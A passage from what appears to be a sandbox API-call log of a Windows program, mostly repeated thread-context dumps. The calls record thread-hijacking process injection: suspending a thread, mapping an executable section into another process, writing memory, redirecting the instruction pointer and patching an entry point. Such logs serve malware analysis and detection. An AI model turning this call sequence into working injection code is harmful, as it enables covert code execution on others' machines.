[93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0066.186] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.186] ResumeThread (hThread=0x1140) returned 0x1 [0066.186] Sleep (dwMilliseconds=0x64) [0066.487] SuspendThread (hThread=0x1140) returned 0x0 [0066.488] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9e6dee0 | out: Context=0x9e6dee0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x1, Rcx=0x7737387a, Rdx=0x4b0174, Rbx=0x0, Rsp=0x3feb20, Rbp=0x3feb74, Rsi=0x4c16d8, Rdi=0x1, R8=0x2b, R9=0x77361466, R10=0x0, R11=0x202, R12=0xfffdb000, R13=0x22fd20, R14=0x22d690, R15=0x747b2450, Rip=0x773974d7, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0066.488] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.488] ResumeThread (hThread=0x1140) returned 0x1 [0066.488] Sleep (dwMilliseconds=0x64) [0066.597] SuspendThread (hThread=0x1140) returned 0x0 [0066.597] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9e6dee0 | out: Context=0x9e6dee0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0x1122478, Rbx=0xfffde000, Rsp=0x3ffc4c, Rbp=0x3ffc54, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x3ff9d0, R10=0x0, R11=0x202, R12=0xfffdb000, R13=0x22fd20, R14=0x22e500, R15=0x747b2450, Rip=0x1122478, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0066.597] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.597] NtCreateSection (in: SectionHandle=0x9e6dde8, DesiredAccess=0xf001f, ObjectAttributes=0x9e6de20*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x9e6ddf0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x9e6dde8*=0x1098) returned 0x0 [0066.597] NtMapViewOfSection (in: SectionHandle=0x1098, ProcessHandle=0xffffffffffffffff, BaseAddress=0x9e6dde0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x9e6dda8*=0, ViewSize=0x9e6dd70*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x9e6dde0*=0x9e70000, SectionOffset=0x9e6dda8*=0, ViewSize=0x9e6dd70*=0x128000) returned 0x0 [0066.598] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.638] NtMapViewOfSection (in: SectionHandle=0x1098, ProcessHandle=0x1168, BaseAddress=0x9e6ddd0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x9e6dda8*=0, ViewSize=0x9e6dd70*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x9e6ddd0*=0x810000, SectionOffset=0x9e6dda8*=0, ViewSize=0x9e6dd70*=0x128000) returned 0x0 [0066.639] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x318) returned 0x9770a90 [0066.639] NtAllocateVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x9e6d850*=0x0, ZeroBits=0x0, RegionSize=0x9e6d858*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x9e6d850*=0xe0000, RegionSize=0x9e6d858*=0x1000) returned 0x0 [0066.639] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9e6d8a0 | out: Context=0x9e6d8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0x1122478, Rbx=0xfffde000, Rsp=0x3ffc4c, Rbp=0x3ffc54, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x3ff9d0, R10=0x0, R11=0x202, R12=0xfffdb000, R13=0x22fd20, R14=0x22e500, R15=0x747b2450, Rip=0x1122478, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0066.640] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.640] NtWriteVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0xe0000, Buffer=0x9770a90*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x9e6dd90 | out: Buffer=0x9770a90*, NumberOfBytesWritten=0x9e6dd90*=0x318) returned 0x0 [0066.640] NtSetContextThread (ThreadHandle=0x1140, Context=0x9e6d8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0xe0000, Rcx=0x0, Rdx=0x1122478, Rbx=0xfffde000, Rsp=0x3ffc4c, Rbp=0x3ffc54, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x3ff9d0, R10=0x0, R11=0x202, R12=0xfffdb000, R13=0x22fd20, R14=0x22e500, R15=0x747b2450, Rip=0xe0218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0066.640] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.640] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0066.640] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9e70000) returned 0x0 [0066.652] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0066.652] CloseHandle (hObject=0x1098) returned 1 [0066.652] VirtualProtectEx (in: hProcess=0x1168, lpAddress=0x1122478, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x9e6e3f8 | out: lpflOldProtect=0x9e6e3f8*=0x20) returned 1 [0066.652] NtWriteVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x1122478, Buffer=0x9e6ded0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x9e6de80 | out: Buffer=0x9e6ded0*, NumberOfBytesWritten=0x9e6de80*=0x4) returned 0x0 [0066.655] VirtualProtectEx (in: hProcess=0x1168, lpAddress=0x1122478, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x9e6e3f8 | out: lpflOldProtect=0x9e6e3f8*=0x40) returned 1 